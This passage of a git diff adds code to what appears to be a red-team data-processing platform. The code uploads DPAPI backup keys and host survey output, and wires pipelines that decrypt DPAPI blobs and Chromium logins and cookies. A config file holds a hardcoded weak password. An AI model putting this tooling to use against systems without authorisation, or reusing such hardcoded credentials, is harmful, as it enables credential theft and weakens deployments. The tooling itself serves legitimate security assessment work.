Nemesis", file_uuid=resp["object_id"]) + return uuid.UUID(resp["object_id"]) + else: + return None + + elif "dpapi_domain_backupkey.json" in file_path: + object_id = await nemesis_post_file(config, file_path) + if not object_id: + logger.error("No nemesis_file_id returned when uploading DPAPI domain backup key") + return None + else: + logger.debug("DPAPI domain backup key file uploaded to Nemesis", file_uuid=object_id) + + metadata = await get_metadata(config, "raw_data") + + raw_data = {} + raw_data["tags"] = ["dpapi_domain_backupkey"] + raw_data["data"] = object_id + raw_data["is_file"] = True + + resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]}) + if resp: + logger.debug("DPAPI backupkey file data sent to Nemesis", file_uuid=resp["object_id"]) + return uuid.UUID(resp["object_id"]) + else: + return None + + elif "seatbelt" in file_path: + object_id = await nemesis_post_file(config, file_path) + if not object_id: + logger.error("No nemesis_file_id returned from seatbelt file upload", file_path=file_path) + return None + else: + logger.debug("Seatbelt file uploaded to Nemesis", file_uuid=object_id, file_path=file_path) + + metadata = await get_metadata(config, "raw_data") + + raw_data = {} + raw_data["tags"] = ["seatbelt_json"] + raw_data["data"] = object_id + raw_data["is_file"] = True + + resp = await nemesis_post_data(config, {"metadata": metadata, "data": [raw_data]}) + if resp: + logger.debug("Seatbelt NDJSON file data sent to Nemesis", file_uuid=resp["object_id"]) + return uuid.UUID(resp["object_id"]) + else: + return None + else: + file_data = {} + file_path = os.path.abspath(file_path) + file_data["path"] = file_path + + file_data["size"] = os.path.getsize(file_path) + + object_id = await nemesis_post_file(config, file_path) + if not object_id: + return + else: + logger.debug("File uploaded to Nemesis", file_uuid=object_id, file_path=file_path) + + file_data["object_id"] = object_id + metadata = await get_metadata(config) + + # post to the Nemesis data API (`data` needs to be an array of dictionaries!) + resp = await nemesis_post_data(config, {"metadata": metadata, "data": [file_data]}) + if resp: + logger.debug("File data submitted to Nemesis", file_uuid=resp["object_id"], path=file_path) + return uuid.UUID(resp["object_id"]) + else: + return None + + +async def process_folder(config, folder_path) -> AsyncIterator: + """ + Processes all files in a folder. + """ + + if config["sec_between_files"] > 0: + workers = 1 + logger.info("Processing files in folder synchronously", folder_path=folder_path, workers=1, sec_between_files=config["sec_between_files"]) + else: + workers = config["workers"] + logger.info("Processing files in folder concurrently", folder_path=folder_path, workers=config["workers"], sec_between_files=config["sec_between_files"]) + + yield submit_paths_concurrently(config, folder_path, workers, config["sec_between_files"]) + + +# Keep this global for now so we can cancel pending tasks during shutdown/global exceptions +pending = set() + + +async def limit_concurrency(aws: Iterator | AsyncIterator, limit: int) -> AsyncIterator: + """Limits the concurrency of async functions. + + Graciously took this function from https://death.andgravity.com/limit-concurrency. + + Args: + aws (Iterator | AsyncIterator): An iterator that produces values . + limit (int): The maximum number of concurrent async tasks. + + Yields: + AsyncIterator: An iterator that produces values at a rate defined by the limit. + """ + global pending + + try: + aws = aiter(aws) # type: ignore + is_async = True + except TypeError: + aws = iter(aws) # type: ignore + is_async = False + + aws_ended = False + + while pending or not aws_ended: + while len(pending) < limit and not aws_ended: + try: + aw = await anext(aws) if is_async else next(aws) # type: ignore + except StopAsyncIteration if is_async else StopIteration: + aws_ended = True + else: + pending.add(asyncio.ensure_future(aw)) + + if not pending: + return + + done, pending = await asyncio.wait(pending, return_when=asyncio.FIRST_COMPLETED) + while done: + yield done.pop() + + +async def map_unordered(func: Callable, iterable: Iterator | AsyncIterator, limit=10) -> AsyncIterator: + """Runs an async function over an iterable, limiting the number of async tasks that run concurrently. + + Ref - https://death.andgravity.com/limit-concurrency#async-iterables + + Args: + func (Callable): Function to execution on each item in the iterable. + iterable (Iterator | AsyncIterator): Generator function that produces values. + limit (int, optional): The maximum number of concurrent async tasks. Defaults to 10. + + Yields: + AsyncIterator: The result of the async function + + Examples: + Examples should be written in doctest format, and should illustrate how + to use the function. + + >>> async def async_print(arg): + print("in async_print", arg) + return arg + + + async def main(): + async for result in map_unordered(async_print, range(1), 1): + await asyncio.sleep(0.1) + print("got result") + + + if __name__ == "__main__": + asyncio.run(main()) + """ + try: + aws = map(func, iterable) + except TypeError: + aws = (func(x) async for x in iterable) + + async for task in limit_concurrency(aws, limit): + yield await task + + +# Ref - https://death.andgravity.com/limit-concurrency#async-iterables +def return_args_and_exceptions(func, exception_handler: Callable) -> Callable: + async def _return_args_and_exceptions(func, *args) -> Tuple[Any, Any, Optional[Exception]]: + try: + return *args, await func(*args) + except Exception as e: + exception_handler(e, args) + return *args, e + + return functools.partial(_return_args_and_exceptions, func) + + +async def submit_paths_concurrently(config, paths: List[str], workers: int, delay: float = 0) -> AsyncIterator[Tuple[str, uuid.UUID]]: + """Submits files to Nemesis concurrently. + + Args: + config (_type_): submit_to_nemesis configuration object. + paths (List[str]): List of file or folder paths to submit to Nemesis. + workers (int): Number of concurrent tasks that can run at once. + delay (float, optional): Time delay between each submission. Defaults to 0. + + Returns: + AsyncIterator[Tuple[str, uuid.UUID]]: _description_ + + Yields: + Iterator[AsyncIterator[Tuple[str, uuid.UUID]]]: _description_ + """ + total_file_count = 0 + result_count = 0 + + def get_files(): + nonlocal total_file_count + global logger + + for path in paths: + # get the absolute path + path = os.path.abspath(path) + # Check if the path exists + if not os.path.exists(path): + logger.error("Path does not exist", path=path) + continue + + if os.path.isfile(path): + total_file_count += 1 + yield path + else: + for file_path in filter(os.path.isfile, glob.glob(path + "/**/*", recursive=True)): + total_file_count += 1 + + for file_path in filter(os.path.isfile, glob.glob(path + "/**/*", recursive=True)): + yield file_path + + async def process_file_local(file_path) -> uuid.UUID | None: + structlog.contextvars.bind_contextvars( + file_path=file_path, + ) + + logger.info("Processing file") + + file_uuid = await process_file(config, file_path) + + logger.info( + f"Done processing file {result_count+1}/{total_file_count}", + file_uuid=str(file_uuid), + total_completed=result_count + 1, + total_file_count=total_file_count, + ) + structlog.contextvars.clear_contextvars() + + if delay > 0: + await asyncio.sleep(delay) + + return file_uuid + + def exception_handler(e, args): + logger.exception("Error processing file", args=args) + + wrapped_process_file = return_args_and_exceptions(process_file_local, exception_handler) + + try: + async for result in map_unordered(wrapped_process_file, get_files(), limit=workers): + result_count += 1 + yield result + except asyncio.CancelledError: + logger.warn("Cancelled file uploads") + + logger.info(f"Completed processing {result_count} files out of {total_file_count} total files") + + +async def is_file_processed(es_client, message_id: int): + query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}} + + try: + resp = es_client.search(index="file_data_enriched", query=query, source=True, source_includes=["objectId"]) + hits = resp["hits"]["hits"] + if len(hits) == 0: + return False + else: + return True + except Exception as e: + print(f"[!] Exception querying Elastic: {e}") + return False + + +async def amain(): + paths_to_process = [] + processed_file_uuids = [] + config = await get_config() + if not config: + return + + try: + if config["cookies"]: + await submit_random_cookies(config, config["cookies"]) + else: + if config["file"]: + for f in config["file"]: + paths_to_process.append(f) + + if config["folder"]: + for f in config["folder"]: + paths_to_process.append(f) + + for i in range(config["repeat"] + 1): + logger.info("Waiting for tasks to complete") + async for result in submit_paths_concurrently(config, paths_to_process, config["workers"], config["sec_between_files"]): + path, file_uuid = result + processed_file_uuids.append(file_uuid) + except asyncio.CancelledError: + pass + + # Currently commented out since it has a bug since not all files go all the way through the file enrichment pipeline, so it'll hang on exit. Also isn't async + # es_user, es_pass = config["elasticsearch_creds"].split(":" + # es_client = Elasticsearch(config["elasticsearch_url"], basic_auth=(es_user, es_pass), verify_certs=False, ssl_show_warn=False) + # # while len(processed_file_uuids) > 0: + # time.sleep(1) + # for file_uuid in processed_file_uuids: + # processed = await is_file_processed(es_client, file_uuid) + # if processed: + # processed_file_uuids.remove(file_uuid) + + # logger.info(f"Processed {num_files_submitted} files in {datetime.now() - start_time}\n") diff --git a/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml new file mode 100644 index 0000000..783ef9c --- /dev/null +++ b/cmd/enrichment/enrichment/cli/submit_to_nemesis/submit_to_nemesis.yaml @@ -0,0 +1,10 @@ +elasticsearch_creds: nemesis:Qwerty12345 +elasticsearch_url: http://127.0.0.1:8080/elastic/ +expiration_days: 100 +# nemesis_url: http://127.0.0.1:8080/api/ +nemesis_url: http://127.0.0.1:8080/api/ +nemesis_creds: nemesis:Qwerty12345 +network_name: 'test' +operator_name: WILL +project_name: ASSESS-TEST +log_level: INFO diff --git a/cmd/enrichment/enrichment/containers.py b/cmd/enrichment/enrichment/containers.py new file mode 100644 index 0000000..a34ba20 --- /dev/null +++ b/cmd/enrichment/enrichment/containers.py @@ -0,0 +1,653 @@ +# Standard Libraries +from typing import AsyncGenerator + +# 3rd Party Libraries +import enrichment.settings as settings +import google.protobuf.message +import httpx +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +from dependency_injector import containers, providers +from elasticsearch import AsyncElasticsearch +from enrichment.lib.nemesis_db import NemesisDb +from enrichment.services.text_extractor import TikaTextExtractor +from enrichment.settings import EnrichmentSettings +from enrichment.tasks.chromium_cookie import ChromiumCookie +from enrichment.tasks.dpapi.dpapi import Dpapi +from enrichment.tasks.elastic_connector import ElasticConnector +from enrichment.tasks.file_processor import FileProcessor +from enrichment.tasks.postgres_connector.postgres_connector import ( + PostgresConnector, RegistryWatcher) +from enrichment.tasks.process_categorizer.categorizer import \ + CsvProcessCategorizer +from enrichment.tasks.process_categorizer.process_categorizer import \ + ProcessCategorizer +from enrichment.tasks.raw_data_tag.raw_data_tag import RawDataTag +from enrichment.tasks.registry_hive import RegistryHive +from enrichment.tasks.service_categorizer.categorizer import \ + TsvServiceCategorizer +from enrichment.tasks.service_categorizer.service_categorizer import \ + ServiceCategorizer +from enrichment.tasks.slack_webhook_alerter import SlackWebHookAlerter +from enrichment.tasks.webapi.crack_list.cracklist_api import CrackListApi +from enrichment.tasks.webapi.landingpage import LandingPageApi +from enrichment.tasks.webapi.ml_models_api import MlModelsApi +from enrichment.tasks.webapi.nemesis_api import NemesisApi +from enrichment.tasks.webapi.yara_api import YaraApi +from nemesiscommon.constants import NemesisQueue +from nemesiscommon.messaging_rabbitmq import (NemesisRabbitMQConsumer, + NemesisRabbitMQProducer) +from nemesiscommon.services.alerter import NemesisAlerter +from nemesiscommon.storage_minio import StorageMinio +from nemesiscommon.storage_s3 import StorageS3 + +logger = structlog.get_logger(module=__name__) + + +async def create_consumer( + rabbitmq_connection_uri: str, + queue: NemesisQueue, + message_type: google.protobuf.message.Message, + service_id: str, + num_events: int = 250, +): + async with (await NemesisRabbitMQConsumer.create(rabbitmq_connection_uri, queue, message_type, service_id, num_events) as inputQ,): # type: ignore + yield inputQ + + +async def create_producer(rabbitmq_connection_uri: str, queue: NemesisQueue): + async with ( + await NemesisRabbitMQProducer.create( + rabbitmq_connection_uri, + queue, + ) as outputQ, + ): + yield outputQ + + +async def create_queue_map(rabbitmq_connection_uri: str): + queues = { + q: await NemesisRabbitMQProducer.create( + rabbitmq_connection_uri, + q, + ) + for q in constants.ALL_QUEUES + } + yield queues + + # Shutdown + for q in queues.values(): + await q.Close() + + +async def create_nemesis_db(postgres_connection_uri: str): + db = await NemesisDb.create(postgres_connection_uri) + yield db + await db.Close() + + +async def create_http_retry_client() -> AsyncGenerator[httpx.AsyncClient, None]: + transport = httpx.AsyncHTTPTransport(retries=5) + async with httpx.AsyncClient(transport=transport) as client: + yield client + + +class Container(containers.DeclarativeContainer): + # + # Configuration + # + + # Use this if you want to pass settings to the providers below + config: EnrichmentSettings = providers.Configuration(pydantic_settings=[settings.config], strict=True) # type: ignore + + # Use this if a class needs to be instantiated with a EnrichmentSettings object + config2 = providers.Factory(EnrichmentSettings) + + # + # Input Queues + # Format: inputq__ + # + inputq_alert_slackwebhookalert = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_ALERT, pb.Alert, "slackwebhookalert" + ) + inputq_filedata_fileprocessor = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA, pb.FileDataIngestionMessage, "fileprocessor" + ) + inputq_filedataenriched_fileprocessor = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_ENRICHED, pb.FileDataEnrichedMessage, "fileprocessor" + ) + inputq_process_processcategorizer = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_PROCESS, pb.ProcessIngestionMessage, "processcategorizer" + ) + inputq_service_servicecategorizer = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_SERVICE, pb.ServiceIngestionMessage, "servicecategorizer" + ) + + inputq_authdata_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_AUTHENTICATION_DATA, + pb.AuthenticationDataIngestionMessage, + "elasticconnector", + num_events=500, + ) + inputq_extractedhash_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_EXTRACTED_HASH, + pb.ExtractedHashMessage, + "elasticconnector", + num_events=500, + ) + inputq_processenriched_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_PROCESS_ENRICHED, + pb.ProcessEnrichedMessage, + "elasticconnector", + num_events=500, + ) + inputq_serviceenriched_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_SERVICE_ENRICHED, + pb.ServiceEnrichedMessage, + "elasticconnector", + num_events=500, + ) + inputq_fileinfo_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_INFORMATION, + pb.FileInformationIngestionMessage, + "elasticconnector", + num_events=500, + ) + inputq_filedataenriched_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_DATA_ENRICHED, + pb.FileDataEnrichedMessage, + "elasticconnector", + num_events=500, + ) + inputq_filedataplaintext_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_DATA_PLAINTEXT, + pb.FileDataPlaintextMessage, + "elasticconnector", + num_events=500, + ) + inputq_filedatasourcecode_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_DATA_SOURCECODE, + pb.FileDataSourcecodeMessage, + "elasticconnector", + num_events=500, + ) + inputq_registryvalue_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_REGISTRY_VALUE, + pb.RegistryValueIngestionMessage, + "elasticconnector", + num_events=500, + ) + inputq_namedpipe_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_NAMED_PIPE, + pb.NamedPipeIngestionMessage, + "elasticconnector", + num_events=500, + ) + inputq_networkconnection_elasticconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_NETWORK_CONNECTION, + pb.NetworkConnectionIngestionMessage, + "elasticconnector", + num_events=500, + ) + + inputq_authdata_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_AUTHENTICATION_DATA, + pb.AuthenticationDataIngestionMessage, + "postgresconnector", + num_events=500, + ) + inputq_chromiumcookies_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_COOKIE, + pb.ChromiumCookieMessage, + "postgresconnector", + num_events=500, + ) + inputq_chromiumdownloads_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_DOWNLOAD, + pb.ChromiumDownloadMessage, + "postgresconnector", + num_events=500, + ) + inputq_chromiumhistory_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_HISTORY, + pb.ChromiumHistoryMessage, + "postgresconnector", + num_events=500, + ) + inputq_chromiumlogin_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_LOGIN, + pb.ChromiumLoginMessage, + "postgresconnector", + num_events=500, + ) + inputq_chromiumstatefile_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_STATE_FILE_PROCESSED, + pb.ChromiumStateFileMessage, + "postgresconnector", + num_events=500, + ) + inputq_dpapiblobprocessed_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_DPAPI_BLOB_PROCESSED, + pb.DpapiBlobMessage, + "postgresconnector", + num_events=500, + ) + inputq_extractedhash_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_EXTRACTED_HASH, + pb.ExtractedHashMessage, + "postgresconnector", + num_events=500, + ) + inputq_filedataenriched_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_DATA_ENRICHED, + pb.FileDataEnrichedMessage, + "postgresconnector", + num_events=500, + ) + inputq_fileinfo_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_INFORMATION, + pb.FileInformationIngestionMessage, + "postgresconnector", + num_events=500, + ) + inputq_pathlist_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_PATH_LIST, + pb.PathListIngestionMessage, + "postgresconnector", + num_events=500, + ) + inputq_rawdata_rawdatatagtask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_RAW_DATA, pb.RawDataIngestionMessage, "rawdatatag", num_events=100 + ) + inputq_registryvalue_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_REGISTRY_VALUE, + pb.RegistryValueIngestionMessage, + "postgresconnector", + num_events=500, + ) + inputq_namedpipe_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_NAMED_PIPE, + pb.NamedPipeIngestionMessage, + "postgresconnector", + num_events=500, + ) + inputq_serviceenriched_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_SERVICE_ENRICHED, + pb.ServiceEnrichedMessage, + "postgresconnector", + num_events=500, + ) + inputq_networkconnection_postgresconnector = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_NETWORK_CONNECTION, + pb.NetworkConnectionIngestionMessage, + "postgresconnector", + num_events=500, + ) + + inputq_dpapiblob_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB, pb.DpapiBlobMessage, "dpapi" + ) + inputq_chromiumlogin_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN, pb.ChromiumLoginMessage, "dpapi" + ) + inputq_chromiumstatefile_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE, pb.ChromiumStateFileMessage, "dpapi" + ) + inputq_dpapidomainbackupkey_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_DOMAIN_BACKUPKEY, pb.DpapiDomainBackupkeyMessage, "dpapi" + ) + inputq_dpapimasterkey_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY, pb.DpapiMasterkeyMessage, "dpapi" + ) + inputq_authenticationdata_dpapitask = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_AUTHENTICATION_DATA, pb.AuthenticationDataIngestionMessage, "dpapi" + ) + + inputq_cookie_chromiumcookie = providers.Resource( + create_consumer, config.rabbitmq_connection_uri, constants.Q_COOKIE, pb.CookieIngestionMessage, "chromiumcookie", num_events=500 + ) + inputq_chromiumcookie_chromiumcookie = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_CHROMIUM_COOKIE, + pb.ChromiumCookieMessage, + "chromiumcookie", + num_events=500, + ) + + inputq_filedataenriched_registryhive = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_FILE_DATA_ENRICHED, + pb.FileDataEnrichedMessage, + "registryhive", + ) + + # + # Output Queues (alphabetical order) + # + + outputq_alert = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_ALERT) + outputq_authdata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_AUTHENTICATION_DATA) + outputq_chromiumcookies = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_COOKIE) + outputq_chromiumcookiesprocessed = providers.Resource( + create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_COOKIE_PROCESSED + ) + outputq_chromiumdownload = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_DOWNLOAD) + outputq_chromiumhistory = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_HISTORY) + outputq_chromiumlogin = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN) + outputq_chromiumloginprocessed = providers.Resource( + create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_LOGIN_PROCESSED + ) + outputq_chromiumstatefile = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE) + outputq_chromiumstatefileprocessed = providers.Resource( + create_producer, config.rabbitmq_connection_uri, constants.Q_CHROMIUM_STATE_FILE_PROCESSED + ) + outputq_dpapiblob = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB) + outputq_dpapiblobprocessed = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_BLOB_PROCESSED) + outputq_dpapidomainbackupkey = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_DOMAIN_BACKUPKEY) + outputq_dpapimasterkey = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY) + outputq_dpapimasterkeyprocessed = providers.Resource( + create_producer, config.rabbitmq_connection_uri, constants.Q_DPAPI_MASTERKEY_PROCESSED + ) + outputq_filedata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA) + outputq_filedataenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_ENRICHED) + outputq_filedataplaintext = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_PLAINTEXT) + outputq_filedatasourcecode = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_DATA_SOURCECODE) + outputq_fileinfo = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_FILE_INFORMATION) + outputq_namedpipe = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_NAMED_PIPE) + outputq_networkconnection = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_NETWORK_CONNECTION) + outputq_processenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_PROCESS_ENRICHED) + outputq_rawdata = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_RAW_DATA) + outputq_registryvalue = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_REGISTRY_VALUE) + outputq_service = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_SERVICE) + outputq_serviceenriched = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_SERVICE_ENRICHED) + queue_name_to_producer_map = providers.Resource(create_queue_map, config.rabbitmq_connection_uri) # Required by the web_api service + + # + # Services + # + alerter_service = providers.Factory(NemesisAlerter, outputq_alert, config.public_kibana_url) + + elasticsearch_client = providers.Factory( + AsyncElasticsearch, + config.elasticsearch_url, + basic_auth=providers.List(config.elasticsearch_user, config.elasticsearch_password), + verify_certs=False, + retry_on_timeout=True, + max_retries=10, + request_timeout=10, + maxsize=20, + ) + + http_client = providers.Resource(create_http_retry_client) + + storage_service_s3 = providers.Singleton( + StorageS3, + assessment_id=config.assessment_id, + data_download_dir=config.data_download_dir, + aws_access_key_id=config.aws_access_key_id, + aws_secret_access_key=config.aws_secret_access_key, + aws_default_region=config.aws_default_region, + aws_bucket_name=config.aws_bucket, + aws_kms_key_alias=config.aws_kms_key_alias, + ) + storage_service_minio = providers.Singleton( + StorageMinio, + assessment_id=config.assessment_id, + data_download_dir=config.data_download_dir, + access_key=config.minio_root_user, + secret_key=config.minio_root_password, + ) + + # this is overridden in bootstrap.py if s3 is specified, + # otherwise we use minio as the default + storage_service = storage_service_minio + + text_extractor = providers.Factory( + TikaTextExtractor, + config.tika_uri, + http_client, + ) + + database = providers.Resource(create_nemesis_db, config.postgres_connection_uri) + + process_categorizer = providers.Factory(CsvProcessCategorizer) + service_categorizer = providers.Factory(TsvServiceCategorizer) + registry_watcher = providers.Factory(RegistryWatcher, database, outputq_dpapiblob) + + # + # Enrichment Service Tasks (alphabetical order) + # + task_alerting = providers.Factory( + SlackWebHookAlerter, + inputq_alert_slackwebhookalert, + config.slack_webhook_url, + config.slack_username, + config.slack_emoji, + config.slack_channel, + http_client, + config.disable_alerting, + ) + + task_chromiumcookie = providers.Factory( + ChromiumCookie, + database, + inputq_chromiumcookie_chromiumcookie, + inputq_cookie_chromiumcookie, + outputq_chromiumcookies, + outputq_chromiumcookiesprocessed, + ) + + task_dpapi = providers.Factory( + Dpapi, + config.data_download_dir, + alerter_service, + database, + storage_service, + inputq_chromiumlogin_dpapitask, + inputq_chromiumstatefile_dpapitask, + inputq_dpapiblob_dpapitask, + inputq_dpapidomainbackupkey_dpapitask, + inputq_dpapimasterkey_dpapitask, + inputq_authenticationdata_dpapitask, + outputq_chromiumloginprocessed, + outputq_chromiumstatefileprocessed, + outputq_dpapiblobprocessed, + outputq_dpapimasterkeyprocessed, + ) + + task_elasticconnector = providers.Factory( + ElasticConnector, + storage_service, + elasticsearch_client, + config.web_api_url, + config.public_kibana_url, + inputq_authdata_elasticconnector, + inputq_extractedhash_elasticconnector, + inputq_filedataenriched_elasticconnector, + inputq_filedataplaintext_elasticconnector, + inputq_filedatasourcecode_elasticconnector, + inputq_fileinfo_elasticconnector, + inputq_processenriched_elasticconnector, + inputq_registryvalue_elasticconnector, + inputq_serviceenriched_elasticconnector, + inputq_namedpipe_elasticconnector, + inputq_networkconnection_elasticconnector, + ) + + task_fileprocessor = providers.Factory( + FileProcessor, + alerter_service, + storage_service, + text_extractor, + # URIs + config.crack_list_uri, + config.dotnet_uri, + config.gotenberg_uri, + config.ml_models_uri, + config.public_kibana_url, + # Other settings + config.chunk_size, + config.data_download_dir, + config.extracted_archive_size_limit, + config.model_word_limit, + # Queues + inputq_filedata_fileprocessor, + inputq_filedataenriched_fileprocessor, + outputq_alert, + outputq_authdata, + outputq_chromiumcookies, + outputq_chromiumdownload, + outputq_chromiumhistory, + outputq_chromiumlogin, + outputq_chromiumstatefile, + outputq_dpapiblob, + outputq_dpapimasterkey, + outputq_filedata, + outputq_filedataenriched, + outputq_filedataplaintext, + outputq_filedatasourcecode, + outputq_rawdata, + ) + + task_postgresconnector = providers.Factory( + PostgresConnector, + database, + registry_watcher, + inputq_authdata_postgresconnector, + inputq_chromiumcookies_postgresconnector, + inputq_chromiumdownloads_postgresconnector, + inputq_chromiumhistory_postgresconnector, + inputq_chromiumlogin_postgresconnector, + inputq_chromiumstatefile_postgresconnector, + inputq_dpapiblobprocessed_postgresconnector, + inputq_extractedhash_postgresconnector, + inputq_filedataenriched_postgresconnector, + inputq_fileinfo_postgresconnector, + inputq_pathlist_postgresconnector, + inputq_registryvalue_postgresconnector, + inputq_namedpipe_postgresconnector, + inputq_serviceenriched_postgresconnector, + inputq_networkconnection_postgresconnector, + ) + + task_processcategorizer = providers.Factory( + ProcessCategorizer, inputq_process_processcategorizer, outputq_processenriched, process_categorizer + ) + + task_rawdatatag = providers.Factory( + RawDataTag, + storage_service, + database, + inputq_rawdata_rawdatatagtask, + outputq_dpapidomainbackupkey, + outputq_fileinfo, + outputq_registryvalue, + outputq_service, + outputq_namedpipe, + outputq_networkconnection, + ) + + task_registryhive = providers.Factory( + RegistryHive, + storage_service, + config.registry_value_batch_size, + inputq_filedataenriched_registryhive, + outputq_registryvalue, + ) + + task_servicecategorizer = providers.Factory( + ServiceCategorizer, inputq_service_servicecategorizer, outputq_serviceenriched, service_categorizer + ) + + # + # Web APIs (alphabetical order) + # + task_cracklist_api = providers.Factory(CrackListApi, storage_service, config.log_level) + task_mlmodels_api = providers.Factory(MlModelsApi, storage_service, config2) + task_nemesis_api = providers.Factory( + NemesisApi, + storage_service, + config.rabbitmq_connection_uri, + alerter_service, + database, + elasticsearch_client, + queue_name_to_producer_map, + config.assessment_id, + config.log_level, + config.reprocessing_workers, + ) + task_landingpage = providers.Factory(LandingPageApi, config.log_level) + task_yara_api = providers.Factory(YaraApi, storage_service, config.yara_api_port, config.data_download_dir, config.log_level) + + tasks = providers.Aggregate( + alerting=task_alerting, # type: ignore + chromiumcookie=task_chromiumcookie, # type: ignore + cracklist=task_cracklist_api, # type: ignore + dpapi=task_dpapi, # type: ignore + elasticconnector=task_elasticconnector, # type: ignore + fileprocessor=task_fileprocessor, # type: ignore + landingpage=task_landingpage, # type: ignore + mlmodels_api=task_mlmodels_api, # type: ignore + nemesis_api=task_nemesis_api, # type: ignore + postgresconnector=task_postgresconnector, # type: ignore + processcategorizer=task_processcategorizer, # type: ignore + rawdata=task_rawdatatag, # type: ignore + registryhive=task_registryhive, # type: ignore + servicecategorizer=task_servicecategorizer, # type: ignore + yara_api=task_yara_api, # type: ignore + ) diff --git a/cmd/enrichment/enrichment/lib/canaries.py b/cmd/enrichment/enrichment/lib/canaries.py new file mode 100644 index 0000000..c893c63 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/canaries.py @@ -0,0 +1,104 @@ +# Standard Libraries +import re +import zipfile + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +import yara + +logger = structlog.get_logger(module=__name__) + +################################################## +# +# Canary helpers +# +################################################## + +# Rules for 